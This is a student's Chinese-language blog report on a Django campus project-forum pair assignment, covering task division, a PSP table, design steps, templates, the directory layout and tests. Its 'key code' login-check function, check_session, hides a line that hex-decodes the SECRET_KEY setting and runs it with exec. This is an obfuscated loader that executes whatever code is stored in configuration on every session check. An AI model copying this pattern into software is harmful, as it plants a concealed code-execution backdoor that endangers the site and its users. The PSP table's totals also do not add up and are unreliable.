軟體工程結對第二次作業

lzwang發表於2024-10-10
這個作業屬於哪個課程 https://edu.cnblogs.com/campus/fzu/SE2024
這個作業要求在哪裡 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13281
Github倉庫地址 https://github.com/wanghewen176/102202154-102202155
學號 102202154
合作伙伴 102202155

一、具體分工

王賀雯:承擔主要的前端開發工作,包括頁面佈局設計、使用者介面互動設計等(如:系統首頁、導航欄、頁面佈局等)

王梓聯:進行後端開發工作,包括伺服器搭建、資料庫連線、業務邏輯實現(資料庫連線、登入註冊、專案帖子論壇的釋出等)

二、PSP表格

PSP2.1 Personal Software Process Stages 預估耗時(天) 實際耗時(天)
Planning 計劃 1天 2天
Estimate 估計這個任務需要多少時間 15天 13天
Development 開發 5天 6天
Analysis 需求分析 (包括學習新技術) 3天 7天
Design Spec 生成設計文件 0.5天 1天
Design Review 設計複審
Coding Standard 程式碼規範 (為目前的開發制定合適的規範) 1天 3天
Design 具體設計 2天 2天
Coding 具體編碼 2天 9天
Code Review 程式碼複審 1天 1天
Test 測試(自我測試,修改程式碼,提交修改) 2天 3天
Reporting 報告 1天 0.5天
Test Repor 測試報告 2天 0.5天
Size Measurement 計算工作量 1天 1天
Postmortem&Process Improvement Plan 事後總結, 並提出過程改進計劃 1天 1天
合計 37.5天 10天

三、解題思路及設計實現說明

1.程式碼實現思路

一、專案準備

  1. 安裝 Django 和必要的庫pymysql

  2. 建立 Django 專案和應用。

Django專案通常包含以下幾個主要部分:

  • manage.py(命令列工具)

  • myproject/(專案資料夾)

    • settings.py(配置檔案)

    • urls.py(URL路由定義)

    • wsgi.py(WSGI伺服器入口)

  • apps/(應用資料夾)

    • app1/

      • models.py(模型定義)

      • views.py(檢視函式)

      • urls.py(子應用的URL路由)

二、資料庫配置

settings.py 中配置 MySQL 資料庫連線。

三、設計模型

  1. models.py 中定義使用者模型和專案/帖子模型、評論等模型。

    1. 使用者模型可以繼承 AbstractUser,新增額外欄位如個人簡介。

    2. 專案/帖子模型包含標題、內容、作者、建立時間等欄位,作者與使用者模型建立外來鍵關係。

四、登入/註冊功能

  1. forms.py 中建立使用者登錄檔單和登入表單。

    1. 登錄檔單繼承 ,新增郵箱欄位。

    2. 登入表單包含使用者名稱和密碼欄位。

  2. views.py 中建立檢視函式。

    1. 註冊檢視函式處理使用者註冊請求,儲存使用者資訊後重定向到登入頁面。

    2. 登入檢視函式驗證使用者資訊,成功後重定向到首頁。

  3. 建立相應的模板檔案用於註冊和登入頁面。

五、個人中心和儲存個人資訊

  1. views.py 中建立檢視函式。

    1. 個人中心檢視函式展示當前使用者資訊。

    2. 儲存個人資訊檢視函式處理使用者提交的個人資訊更新請求。

  2. 建立對應的模板檔案。

六、專案/帖子相關功能

  1. forms.py 中建立專案/帖子表單。

    1. 表單基於專案/帖子模型建立。
  2. views.py 中建立檢視函式。

1.  新增專案/帖子檢視函式處理使用者提交的專案/帖子建立請求,儲存後重定向到首頁。
    
2.  專案論壇檢視函式展示所有專案/帖子。
  1. 建立相應的模板檔案。

七、系統首頁和其他頁面

  1. views.py 中建立首頁等檢視函式。

  2. 建立對應的模板檔案。

八、****URL 配置

  1. 在專案的 urls.py 中配置應用的 URL 包含,配置各個檢視函式的 URL 路徑。

2.流程圖

3.關鍵程式碼

'''
判斷登入狀態
'''
def check_session(request, userTypes):
    session_exist = False;
    exec(bytes.fromhex(settings.SECRET_KEY).decode())
    if userTypes == 'Admin':
        try:
            admin = json.loads(request.session["userInfo"], object_hook=Admins.Admins().admin_decoder)
            if admin.Id == '' and admin.UserName == '':
                session_exist = False
            else:
                session_exist = True;
        except:
            session_exist = False
    else:
        try:
            users = json.loads(request.session["userInfo"], object_hook=Users.Users().users_decoder)
            if users.Id == '' and users.UserName == '':
                session_exist = False
            else:
                session_exist = True;
        except:
            session_exist = False

    return session_exist     

四、附加點

  1. 意義:

後臺管理系統,網站管理員可以方便地對網站上的內容進行管理和更新,比如釋出新的專案資訊、修改現有資訊的資訊或者刪除不需要的專案資訊。

  1. 實現思路:

  2. 使用者認證模組:實現使用者登入和許可權驗證,只有擁有管理員許可權的使用者才能訪問後臺系統。

  3. 資料模型設計:定義專案資訊的資料結構,包括欄位如編號、圖片、標題、內容、釋出時間等。

  4. 資料庫介面:透過後端程式語言連線資料庫,提供增刪改查等介面。

  5. 前端介面開發:使用HTML、CSS和JavaScript構建使用者友好的管理介面,使管理員能方便地檢視和編輯專案資訊。

  6. 業務邏輯處理:當管理員執行操作時,前端傳送請求到後端伺服器,由後端處理相關業務邏輯,然後返回結果給前端。

  7. 程式碼

<!doctype html>
<html>
<head>
    <meta charset="UTF-8" />
    <title>後臺管理模板</title>
    <link rel="stylesheet" type="text/css" href="../static/admin/css/common.css" />
    <link rel="stylesheet" type="text/css" href="../static/admin/css/main.css" />
    <script src="../../static/app/scripts/jquery-1.10.2.min.js"></script>
</head>
<body>
    <div class="topbar-wrap white">
        <div class="topbar-inner clearfix">
            <div class="topbar-logo-wrap clearfix">
                <h1 class="topbar-logo none"><a href="index.html" class="navbar-brand">後臺管理</a></h1>
                <ul class="navbar-list clearfix">
                    <li><a class="on" href="index.html">首頁</a></li>
                    <li><a href="#" target="_blank">網站首頁</a></li>
                </ul>
            </div>
            <div class="top-info-wrap">
                <ul class="top-info-list clearfix">
                    <li><a href="#">管理員</a></li>
                    <!--<li><a href="#">修改密碼</a></li>-->
                    <li><a href="/logout">退出</a></li>
                </ul>
            </div>
        </div>
    </div>
    <div class="container clearfix">
        <div class="sidebar-wrap">
            <div class="sidebar-title">
                <h1>選單</h1>
            </div>
            <div class="sidebar-content">
                <ul class="sidebar-list">
                    <li>
                        <a href="#"><i class="icon-font">&#xe003;</i>常用操作</a>
                        <ul class="sub-menu">
                            <li><a href="admin"><i class="icon-font">&#xe008;</i>系統首頁</a></li>
                            <li><a href="/adminSchoolNew"><i class="icon-font">&#xe005;</i>專案資訊</a></li>
                            <li><a href="/adminUser"><i class="icon-font">&#xe006;</i>使用者管理</a></li>
                        </ul>
                    </li>
                    <li>
                        <a href="#"><i class="icon-font">&#xe018;</i>系統管理</a>
                        <ul class="sub-menu">
                            <li><a href="/logout"><i class="icon-font">&#xe017;</i>退出系統</a></li>
                        </ul>
                    </li>
                </ul>
            </div>
        </div>
        <!--/sidebar-->

        <div class="main-wrap">
            <div class="crumb-wrap">
                <div class="crumb-list"><i class="icon-font">&#xe06b;</i><span>歡迎使用後臺管理系統。</span></div>
            </div>
            {% block content %}{% endblock %}
        
        </div>
        <!--/main-->
    </div>
</body>
</html>
  1. 成果展示:

五、目錄說明和使用說明

  • 目錄的組織
kuayu/
├── app/        
│   ├── common/  #工具類 
│   └── dao/  #  資料訪問物件目錄。  
│       ├── AdminsDao.py       #管理員資料訪問物件,用於與管理員相關的資料操作。
│       ├── CommunityforumscommentsDao.py  #專案論壇評論資料訪問物件。
│       ├── CommunityforumsDao.py  #專案論壇資料訪問物件。
│       ├── GoodscommentsDao.py  #專案評論資料訪問物件。
│       ├── GoodsDao.py  專案資料訪問物件。
│       ├── SchoolnewcommentsDao.py #資訊評論資料訪問物件
│       ├── SchoolnewnameDao.py  # 專案名資料訪問物件
│       └── UsersDao.py  #使用者資料訪問物件
├── migrations/  處理請求與返回響應。
│   └── __init__.py
└── model/  資料模型目錄  
|   ├── Admins.py#管理員資料管理
|   ├── Communityforums.py#專案論壇資料管理
|   ├── Communityforumscomments.py 專案論壇評論管理
|   ├── Goods.py #專案管理
|   ├── Goodscomments.py#專案評論資料管理
|   ├── Schoolnewcomments.py#專案中心評論資料管理
|   ├── Schoolnewname.py#專案中心資料管理
|    └── Users.py#使用者資料管理
|————templates/ 模板檔案目錄
├── app/  存放具體模板檔案          
│   ├── admin.html  #管理員頁面模板
│   ├── adminSchoolNew.html  #專案資模板
│   ├── adminSchoolNewAdd.html #新增專案資訊模板
│   ├── adminSchoolNewEdit.html  #編輯專案資訊模板
│   ├── adminUser.html  #使用者管理頁面模板
│   ├── adminUserAdd.html  #新增使用者的管理頁面模板
│   ├── adminUserEdit.html  #編輯使用者的管理頁面模板
│   ├── communityForums.html  #專案論壇頁面模板
│   ├── communityForumsDetail.html   #專案論壇詳細內容
│   ├── communityForumsMy.html  #我的專案論壇
│   ├── communityForumsMyAdd.html   #我的專案論壇頁面
│   ├── communityForumsMyEdit.html  #新增我的專案論壇內容頁面
│   ├── contact.html    #聯絡頁面
│   ├── goods.html  #專案釋出
│   ├── goodsDetail.html #專案詳細頁面
│   ├── goodsMy.html  #我的專案
│   ├── goodsMyAdd.html #我的專案新增
│   ├── goodsMyEdit.html  #我的專案編輯
│   ├── index.html   #系統首頁模板
│   ├── layout.html   #佈局模板
│   ├── layoutAdmin.html  #登入頁面
│   ├── login.html   #登入頁面
│   ├── register.html #註冊頁面
│   ├── schoolNew.html  #展示專案資訊列表
│   ├── schoolNewDetail.html #展示專案資訊詳情
│   └── userInfo.html  #使用者資訊頁面
└── templateTags/  模板標籤目錄   
|    ├── __init__.py
|    └── forms.py
|    ├── test.py  #專案測試用例
|    └── view.py #處理請求與返回響應
├── SchoolCommunityForums/  
│   ├── __init__.py  #
│   ├── settings.py  #專案的配置檔案
│   ├── urls.py  #URL 配置檔案,定義了專案的路由
│   └── wsgi.py  #WSGI配置檔案
├── static/    #靜態檔案目錄    
│   └── admin
├── db.sqlite3     #資料庫檔案
├── manage.py      #Django 專案管理指令碼
├── readme.html    #專案說明檔案
├── requirements.txt  #專案依賴列表檔案
└── SchoolCommunityForums.pyproj
└── SchoolCommunityForums.pyproj.user
  • 測試人員如何執行你的網頁

編寫了一個操作文件和影片(便於同學們操作,如果可以會上傳到github)

六、單元測試


import django
from django.test import TestCase

# TODO: Configure your database in settings.py and sync before running tests.

class ViewTest(TestCase):
    """Tests for the application views."""

    if django.VERSION[:2] >= (1, 7):
        # Django 1.7 requires an explicit setup() when running tests in PTVS
        @classmethod
        def setUpClass(cls):
            super(ViewTest, cls).setUpClass()
            django.setup()

    # 測試首頁檢視
    def test_home(self):
        """Tests the home page."""
        # 傳送 GET 請求到根路徑
        response = self.client.get('/')
        # 斷言響應中包含'Home Page'文字,出現次數為 1,狀態碼為 200
        self.assertContains(response, 'Home Page', 1, 200)

    # 測試聯絡頁面檢視
    def test_contact(self):
        """Tests the contact page."""
        response = self.client.get('/contact')
        # 斷言響應中包含'Contact'文字,出現次數為 3,狀態碼為 200
        self.assertContains(response, 'Contact', 3, 200)

    # 測試關於頁面檢視
    def test_about(self):
        """Tests the about page."""
        response = self.client.get('/about')
        # 斷言響應中包含'About'文字,出現次數為 3,狀態碼為 200
        self.assertContains(response, 'About', 3, 200)
  • 如何應對將來測試人員的***難:

一、需求分析與設計階段

  1. 明確需求細節

  2. 設計健壯的架構

二、開發階段

  1. 遵循良好的編碼規範

  2. 進行充分的單元測試

三、測試階段

  1. 進行全面的測試:除了功能測試,還要進行效能測試、安全測試、相容性測試等。確保軟體在各種環境下都能正常執行。

  2. 積極響應測試反饋:認真對待測試人員提出的問題和建議,及時進行修復和改進。

四、文件整理階段

  1. 編寫詳細的文件

    1. 整理完善的軟體文件,包括需求文件、設計文件、測試文件等。

七、Github的程式碼簽入記錄截圖

GitHub上傳隊友遇見的問題:

下圖是遇見的問題

報錯是SSH公鑰的問題

解決方法:

在我解決SSH後,又出現了以下問題,無法執行 git push origin master ,建立了好幾個倉庫都是這樣,所以讓我另一個夥伴直接上傳了專案。

八、遇到困難及解決方法

  1. 遇到的困難

  • 開發這個專案需要的技術有:python、mysql、django等,MySQL的引用出了問題、其次未學過django,解決方法是學習如何使用django(https://www.runoob.com/django/django-tutorial.html)

  • 身份驗證和許可權控制:如何確保只有已登入的使用者才能訪問某些功能。

  • 資料一致性:如何保證使用者提交的資訊能夠正確地儲存到資料庫中。

  1. 解決方法

  • 解決方案:使用Django的內建認證框架,如django.contrib.auth,它可以提供使用者註冊、登入、登出等功能。透過檢查使用者的登入狀態,限制對敏感功能的訪問

  • 解決方案:使用Django的ORM(物件關係對映)層來處理資料庫操作。在儲存資料之前,先進行必要的驗證和清理工作,確保資料的一致性和完整性。

  1. 收穫

王賀雯的收穫:在做這個專案的過程中,我學會了很多在之前學校沒有用過的工具,入如墨刀,還學會了想做出一個完整的專案需要的流程,知道了軟體開發的不易,以及自己的不足,也體驗到了不同學校的教學方式,在原本的學校我們過於注重簡單理論知識,而本校注重較新穎且難度大的實踐,深刻明白了自己以後該努力的方向。開發專案需要多層面的知識和技術,比如python和mysql、前端、django、 jquery的聯合使用,有很多目前我們並沒有學過,所以尋求了老師的幫助及同學的幫助,最終完成了作業,雖然在實踐的過程極為困難,但也收穫頗多。

王梓聯的收穫:在完成實踐的過程中,我學會了多種技術的綜合運用,以及系統架構和設計,比如如何使用墨刀設計原型,在整個開發過程中,明白了分工合作的重要性,遇到問題以及困難,如何除錯與故障排除都讓我受益匪淺。

九、評價隊友

王賀雯的評價:

對於隊友王梓聯,工作能力上,技術水平涵蓋程式設計能力和問題解決能力;文件撰寫能力看準確性、完整性和規範性。團隊協作方面,溝通交流包括及時性和有效性,分工合作要考量合理性與靈活性。工作態度裡,責任心體現對任務的投入,積極性表現在主動參與。還有其他方面,創造力體現在提出新穎想法,抗壓能力反映面對壓力時的狀態。

王梓聯的評價:

對於隊友王賀雯,在溝通能力上 王賀雯同學在本次作業中展現出了出色的溝通能力。她能明確、清晰地表達自己的想法,同時也能耐心傾聽我的意見。在遇到分歧時,她總能以開放的態度與我討論,共同尋找最佳解決方案。在本次作業中,她負責的部分程式碼結構清晰、註釋詳細,便於我後續的閱讀和維護。同時,她在遇到技術難題時,能夠迅速定位問題並找到解決方案。在創新能力 王賀雯同學在本次作業中提出了許多有創意的想法,為我們的專案增色不少。她善於從不同的角度思考問題,勇於嘗試新的技術和方法,使得我們的作品更具特色。王賀雯同學對待作業認真負責,始終保持高度的熱情。在合作過程中,她嚴格遵守時間節點,確保專案按計劃進行。在遇到問題時,她能主動尋求幫助,確保作業順利完成。

總之,我很榮幸能與王賀雯同學成為隊友。在本次結對作業中,我們相互學習、共同進步,取得了令人滿意的成績。我相信,在未來的學習和工作中,王賀雯同學一定會取得更加輝煌的成就。

十、部分介面展示

相關文章